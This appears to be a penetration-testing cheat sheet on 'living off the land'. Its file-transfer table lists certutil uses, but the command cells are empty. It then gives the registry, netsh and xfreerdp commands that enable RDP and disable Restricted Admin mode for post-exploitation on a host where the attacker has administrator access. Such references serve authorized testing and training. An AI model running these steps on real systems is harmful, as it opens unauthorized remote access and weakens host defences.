Living off the Land
File Transfers
Command | Description |
| Transfer file with certutil |
| Encode file with certutil |
| Decode file with certutil |
Enabling RDP (Requires local Administrator)
If you have control over a local Administrator
account, you can enable RDP and use xfreerdp
to perform post-exploitation
in better conditions
To do so, follow these steps:
enable RDP:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
enable RDP from the firewall config:
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
disable the restricted admin mode:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
Then, login using: xfreerdp /v:Target-IP /u:AdminUser /p:password
Last updated